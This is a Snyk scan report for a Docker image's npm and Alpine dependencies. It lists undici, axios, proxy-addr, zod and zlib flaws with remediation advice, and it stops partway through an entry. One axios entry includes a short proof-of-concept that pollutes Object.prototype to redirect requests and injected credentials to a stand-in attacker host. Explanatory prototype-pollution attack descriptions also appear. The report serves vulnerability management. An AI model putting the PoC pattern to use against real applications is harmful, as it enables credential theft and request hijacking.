Snyk - Open Source Security

Snyk test report

October 20th 2026, 6:09:44 am (UTC+00:00)

Scanned the following paths:
  • docker.io/scopear/docker-scope-docs:20260604.90/scopear/docker-scope-docs (apk)
  • docker.io/scopear/docker-scope-docs:20260604.90//app/package.json (npm)
  • docker.io/scopear/docker-scope-docs:20260604.90//usr/local/lib/node_modules (npm)
85 known vulnerabilities
3492 vulnerable dependency paths
468 dependencies

CRLF Injection

critical severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, @qdrant/js-client-rest@1.15.1 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › @langchain/qdrant@0.1.3 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to CRLF Injection in the parseSetCookie. An attacker can inject arbitrary HTTP headers by supplying specially crafted percent-encoded values in the Set-Cookie header, which are improperly decoded and then forwarded into response headers. This can enable actions such as session fixation, open redirect, or cache poisoning.

Note: This is only exploitable if the application parses Set-Cookie headers using the affected function and then forwards the parsed value into a response header without proper sanitization.

Workaround

This vulnerability can be mitigated by sanitizing the values returned by the affected cookie parsing functions to strip or reject CR, LF, NUL, ;, and = bytes before forwarding them into response headers.

Remediation

Upgrade undici to version 6.27.0, 7.28.0, 8.5.0 or higher.

References

More about this vulnerability

Improper Certificate Validation

critical severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, @qdrant/js-client-rest@1.15.1 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › @langchain/qdrant@0.1.3 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Improper Certificate Validation via the Agent constructor in lib/dispatcher/agent.js, where TLS options passed as the tls parameter are silently dropped and never stored in kOptions. Because the tls field is not destructured and forwarded to the internal options object, any TLS configuration supplied by the caller - including custom CA certificates, certificate pinning, or hostname verification overrides - is ignored when connections are established. An attacker positioned on the network can exploit the resulting absence of TLS constraints to perform a MitM attack, intercepting or modifying HTTPS traffic that the caller believed was protected by the supplied TLS settings.

Workaround

Users who are not able to upgrade to the fixed version are advised to pass the TLS options through connect instead of tls. For proxied EnvHttpProxyAgent destinations, use requestTls / proxyTls.

Remediation

Upgrade undici to version 6.29.1, 7.30.1, 8.12.2 or higher.

References

More about this vulnerability

Origin Validation Error

critical severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, cheerio@1.1.2 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Origin Validation Error via cross-origin redirect handling in CacheHandler.onResponseStart, where a redirect to a different origin can cause the final response to be stored under the original (trusted) origin's cache key. An attacker who controls a redirect target can poison the shared cache by serving a response that gets keyed against a URL the application trusts, enabling subsequent cache-served responses to deliver attacker-controlled content. Additionally, intermediate redirect hops carrying restrictive Cache-Control directives (such as no-store or private) are not honored, allowing those hops to be laundered into a cacheable entry under the original key.

Note: This is only exploitable when an originless Agent, a shared MemoryCacheStore or SqliteCacheStore, and the composition compose(redirect(), cache()) are all used.

Remediation

Upgrade undici to version 7.30.1, 8.12.2 or higher.

References

More about this vulnerability

User Impersonation

critical severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: proxy-addr
  • Introduced through: rag-builder@1.0.0, express@4.21.2 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › express@4.21.2 › proxy-addr@2.0.7

Overview

Affected versions of this package are vulnerable to User Impersonation in its subnet matching logic, where an IPv4-mapped IPv6 trust entry with a short prefix such as ::ffff:10.0.0.0/8 compiles with all-zero leading bits and matches every address rather than the intended block. An attacker can control the value returned by proxyaddr(req, trust), and therefore req.ip and req.ips in Express, by sending an arbitrary X-Forwarded-For header, since every client is then trusted as a proxy at hop 0, which defeats IP-based access control, rate limiting, geolocation, and audit logging. This requires the application to configure its trust list with an IPv4-mapped IPv6 subnet using a short prefix, or any IPv6 subnet with zero leading bits such as ::/1, and the misconfiguration compiles without error.

Workaround

This vulnerability can be avoided by expressing trust subnets in plain IPv4 notation, such as 10.0.0.0/8, or where IPv4-mapped IPv6 notation is required, by using a prefix long enough to cover the mapped marker, such as ::ffff:10.0.0.0/104.

Remediation

Upgrade proxy-addr to version 2.0.8 or higher.

References

More about this vulnerability

HTTP Response Splitting

critical severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: axios
  • Introduced through: rag-builder@1.0.0 and axios@1.12.2

Detailed paths

  • Introduced through: rag-builder@1.0.0 › axios@1.12.2

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the isFormData and getHeaders handling in the HTTP request path. An attacker can inject arbitrary request headers by supplying a prototype-polluted object that is mistaken for FormData, causing getHeaders() output to be merged into an outgoing request. This lets attacker-controlled values, such as authorization or custom headers, ride along with requests made by applications that pass untrusted objects into Axios, exposing credentials or altering server-side request handling.

Notes

  • The gadget only matters when the request body is a non-FormData payload that Axios still routes through the Node HTTP adapter’s form-data detection path; browser-side usage is not implicated by this code path.
  • The advisory’s prototype-pollution prerequisite can come from any dependency in the application’s tree, not necessarily from Axios itself, so a separate merge/parser bug elsewhere can be enough to trigger the header injection.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

More about this vulnerability

Prototype Pollution

critical severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: axios
  • Introduced through: rag-builder@1.0.0 and axios@1.12.2

Detailed paths

  • Introduced through: rag-builder@1.0.0 › axios@1.12.2

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the mergeConfig code path in the request configuration handling. An attacker can influence request behavior by supplying a crafted config object with inherited properties such as transport, env, formSerializer, or transform callbacks on Object.prototype, causing Axios to use attacker-controlled settings during request dispatch and form serialization. This can redirect requests, alter serialization and response handling, and break application logic that relies on trusted per-request configuration.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)
        
          foreach property of source
        
            if property exists and is an object on both the target and the source
        
              merge(target[property], source[property])
        
            else
        
              target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

More about this vulnerability

Prototype Pollution

critical severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: axios
  • Introduced through: rag-builder@1.0.0 and axios@1.12.2

Detailed paths

  • Introduced through: rag-builder@1.0.0 › axios@1.12.2

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution when the Object.prototype has been polluted via a different exploit. The following properties in the HTTP adapter configuration may be manipulated, as they do not restrict their own property accesses with hasOwnProperty. An attacker can inject Authorization headers into the auth property, redirect external requests via the baseURL property or internal requests via the socketPath property, execute callbacks contained in HTTP redirects via the beforeRedirect property, or enable insecure HTTP parsing via the insecureHTTPParser property.

PoC

const axios = require('axios');
        
        // Prototype pollution from a vulnerable dependency in the same process
        Object.prototype.auth = { username: 'attacker', password: 'exfil' };
        Object.prototype.baseURL = 'https://evil.com';
        
        await axios.get('/api/users');
        // Request is sent to: https://evil.com/api/users
        // With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
        // Attacker receives both the request and injected credentials

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)
        
          foreach property of source
        
            if property exists and is an object on both the target and the source
        
              merge(target[property], source[property])
        
            else
        
              target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 1.15.2 or higher.

References

More about this vulnerability

Allocation of Resources Without Limits or Throttling

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: zod
  • Introduced through: rag-builder@1.0.0, @langchain/openai@0.6.13 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › @langchain/openai@0.6.13 › zod@3.25.76

Overview

zod is a TypeScript-first schema declaration and validation library with static type inference

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the handleArrayResult parse logic in $ZodArray, which accumulates every validation issue for each failing element in a large array with no cap or early termination. An attacker can submit a large array to an application using an array schema without a length constraint, causing the process to allocate excessive issue objects and crash due to out-of-memory conditions.

Remediation

Upgrade zod to version 4.6.6 or higher.

References

More about this vulnerability

Out-of-bounds Write

high severity
Exploit: Not Defined
  • Package Manager: alpine:3.23
  • Vulnerable module: zlib/zlib
  • Introduced through: docker-image|docker.io/scopear/docker-scope-docs@20260604.90 and zlib/zlib@1.3.2-r0

Detailed paths

  • Introduced through: docker-image|docker.io/scopear/docker-scope-docs@20260604.90 › zlib/zlib@1.3.2-r0
  • Introduced through: docker-image|docker.io/scopear/docker-scope-docs@20260604.90 › apk-tools/apk-tools@3.0.6-r0 › zlib/zlib@1.3.2-r0
  • Introduced through: docker-image|docker.io/scopear/docker-scope-docs@20260604.90 › curl/curl@8.19.0-r0 › zlib/zlib@1.3.2-r0
  • Introduced through: docker-image|docker.io/scopear/docker-scope-docs@20260604.90 › apk-tools/apk-tools@3.0.6-r0 › apk-tools/libapk@3.0.6-r0 › zlib/zlib@1.3.2-r0
  • Introduced through: docker-image|docker.io/scopear/docker-scope-docs@20260604.90 › curl/curl@8.19.0-r0 › curl/libcurl@8.19.0-r0 › zlib/zlib@1.3.2-r0

NVD Description

Note: Versions mentioned in the description apply only to the upstream zlib package and not the zlib package as distributed by Alpine. See How to fix? for Alpine:3.23 relevant fixed versions and status.

zlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.

Remediation

Upgrade Alpine:3.23 zlib to version 1.3.2-r1 or higher.

References

More about this vulnerability

Uncaught Exception

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, @qdrant/js-client-rest@1.15.1 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › @langchain/qdrant@0.1.3 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Uncaught Exception in the ByteParser when handling a specially crafted WebSocket frame with an extremely large 64-bit length. An attacker can cause the process to terminate unexpectedly by sending such a frame, resulting in a fatal TypeError and service disruption.

Remediation

Upgrade undici to version 6.24.0, 7.24.0 or higher.

References

More about this vulnerability

Improper Handling of Highly Compressed Data (Data Amplification)

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, @qdrant/js-client-rest@1.15.1 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › @langchain/qdrant@0.1.3 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the PerMessageDeflate.decompress() method of the permessage-deflate extension. An attacker can cause excessive memory usage by sending specially crafted compressed WebSocket frames that decompress to a very large size, potentially leading to process crashes or unresponsiveness.

Remediation

Upgrade undici to version 6.24.0, 7.24.0 or higher.

References

More about this vulnerability

Uncaught Exception

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, @qdrant/js-client-rest@1.15.1 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › @langchain/qdrant@0.1.3 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Uncaught Exception through improper validation of the server_max_window_bits parameter in the permessage-deflate extension. An attacker can cause the process to terminate unexpectedly by sending a maliciously crafted value outside the valid range, which triggers an unhandled exception when the client attempts to create a zlib InflateRaw instance.

Remediation

Upgrade undici to version 6.24.0, 7.24.0 or higher.

References

More about this vulnerability

Allocation of Resources Without Limits or Throttling

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, @qdrant/js-client-rest@1.15.1 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › @langchain/qdrant@0.1.3 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the handling of WebSocket message fragments. An attacker can cause unbounded memory growth and exhaust system resources by streaming a large number of small or empty continuation frames from a malicious WebSocket server.

Remediation

Upgrade undici to version 6.26.0, 7.28.0, 8.5.0 or higher.

References

More about this vulnerability

Permissive List of Allowed Inputs

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, @qdrant/js-client-rest@1.15.1 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › @langchain/qdrant@0.1.3 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Permissive List of Allowed Inputs via permissive substring matching in the Set-Cookie attribute parsing. An attacker can weaken cookie SameSite enforcement by crafting a response with a non-standard SameSite value that is interpreted as a more permissive setting, potentially allowing cookies to be sent in cross-site requests.

Note: This is only exploitable if the application consumes Set-Cookie headers from server responses (for example via undici's fetch or proxy code paths) and then forwards or relies on the parsed sameSite attribute.

Workaround

This vulnerability can be mitigated by validating that the parsed sameSite attribute is exactly 'Strict', 'Lax', or 'None' (case-insensitive) before relying on or forwarding it.

Remediation

Upgrade undici to version 6.27.0, 7.28.0, 8.5.0 or higher.

References

More about this vulnerability

Uncaught Exception

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, @qdrant/js-client-rest@1.15.1 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › @langchain/qdrant@0.1.3 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Uncaught Exception in its WebSocket client, in the form of a TypeError inside a queueMicrotask callback when a server's 101 response carries a Sec-WebSocket-Protocol header the client never requested. An attacker can crash the process by returning a 101 handshake response that names a subprotocol the client did not offer. This requires the application to open a WebSocket without requesting a subprotocol to an attacker-controlled or compromised server, or over plaintext ws:// where a MitM can alter the handshake.

Remediation

Upgrade undici to version 6.28.1, 7.29.1, 8.10.2 or higher.

References

More about this vulnerability

Uncaught Exception

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, @qdrant/js-client-rest@1.15.1 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › @langchain/qdrant@0.1.3 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Uncaught Exception via unhandled ERR_TLS_CERT_ALTNAME_INVALID errors in onHttpSocketError, onHttp2SessionError, and onHttp2SocketError. When a TLS connection is established and the server's certificate fails Subject Alternative Name validation post-connect, the error propagates and triggers a failed assert call, crashing the process. An attacker who can cause the client to connect to a server presenting an invalid TLS certificate can exploit this to crash the Node.js process.

Remediation

Upgrade undici to version 6.29.1, 7.30.1, 8.12.2 or higher.

References

More about this vulnerability

Allocation of Resources Without Limits or Throttling

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, @qdrant/js-client-rest@1.15.1 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › @langchain/qdrant@0.1.3 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via unbounded automatic PONG write queuing in the WebSocket ByteParser receiver. A remote attacker can send a flood of PING control frames over a standard WebSocket connection, causing the outbound write queue to grow without bound because each inbound PING triggers an automatic PONG reply that is enqueued regardless of socket backpressure, exhausting memory and crashing the process.

Remediation

Upgrade undici to version 6.29.1, 7.30.1, 8.12.2 or higher.

References

More about this vulnerability

Allocation of Resources Without Limits or Throttling

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, @qdrant/js-client-rest@1.15.1 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › @langchain/qdrant@0.1.3 › @qdrant/js-client-rest@1.15.1 › undici@6.21.3
  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the EventSourceStream transform in lib/web/eventsource/eventsource-stream.js, where the maxEventSize limit is only enforced inside parseLine(), which is only invoked when a line terminator (CR or LF) is encountered. A server can stream a data: field (or any field) that never contains a line terminator, causing the client to buffer the response body without bound and driving the process toward memory exhaustion.

Remediation

Upgrade undici to version 6.29.1, 7.30.1, 8.12.2 or higher.

References

More about this vulnerability

Use of Cache Containing Sensitive Information

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, cheerio@1.1.2 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information in the cache interceptor. An attacker can obtain another user's authenticated response data by exploiting whitespace-padded field names in the Cache-Control header, causing the cache to incorrectly store and serve private data to subsequent callers, including unauthenticated users.

Note: This is only exploitable if the cache interceptor is explicitly enabled in shared mode, Authorization headers are forwarded upstream, and cacheable responses with non-canonical qualified private or no-cache directives are received.

Workaround

This vulnerability can be mitigated by disabling shared-cache mode for traffic that includes Authorization headers, avoiding caching responses to authenticated requests, or adding Vary: Authorization upstream.

Remediation

Upgrade undici to version 7.28.0, 8.5.0 or higher.

References

More about this vulnerability

Interpretation Conflict

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, cheerio@1.1.2 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Interpretation Conflict via the parseCacheControlHeader function in lib/util/cache.js and the cache interceptor. An attacker can cause a shared cached response containing authenticated data to be stored and later served to another caller by sending a Cache-Control header with a qualified private or no-cache directive padded with optional whitespace around =. The parser misreads forms such as private ="" or no-cache= "authorization", so the cache logic fails to recognize the directive as a qualified restriction and treats the response as cacheable. In shared-cache deployments that forward Authorization headers, this exposes one user’s response body and cookies to a subsequent request for the same cache key, including an unauthenticated request.

Remediation

Upgrade undici to version 7.29.0, 8.9.0 or higher.

References

More about this vulnerability

Information Exposure

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, cheerio@1.1.2 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Information Exposure via the cache-control parser in lib/util/cache.js used by interceptors.cache(). An attacker can cause a private response to be stored in the shared cache, or terminate request handling, by sending malformed Cache-Control directives such as private="" or mixed private, private="hdr" values from an upstream response. In shared cache mode, a later request with the same cache key can receive another user's cached body and headers, including sensitive Set-Cookie data, and mixed qualified/unqualified private directives can raise an uncaught TypeError that aborts the request.

Remediation

Upgrade undici to version 7.29.0, 8.9.0 or higher.

References

More about this vulnerability

Missing Release of Resource after Effective Lifetime

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: undici
  • Introduced through: rag-builder@1.0.0, cheerio@1.1.2 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › cheerio@1.1.2 › undici@7.16.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime in the RetryHandler, which can leave a response body pending indefinitely when a retried request receives a non-retryable response after a truncated one. An attacker can accumulate unresolved promises and streams until the client is denied service by running a malicious server that repeatedly returns a non-retryable response following a truncated one, so the original response body never resolves and calls like response.body.text() never complete. This requires the application to retry requests through the RetryHandler, and bodyTimeout does not fire because the orphaned body is never active.

Workaround

This vulnerability can be avoided by imposing an independent request deadline and destroying the response body when it expires, since bodyTimeout alone does not release the orphaned body.

Remediation

Upgrade undici to version 7.29.1, 8.10.2 or higher.

References

More about this vulnerability

Allocation of Resources Without Limits or Throttling

high severity
Exploit: Not Defined
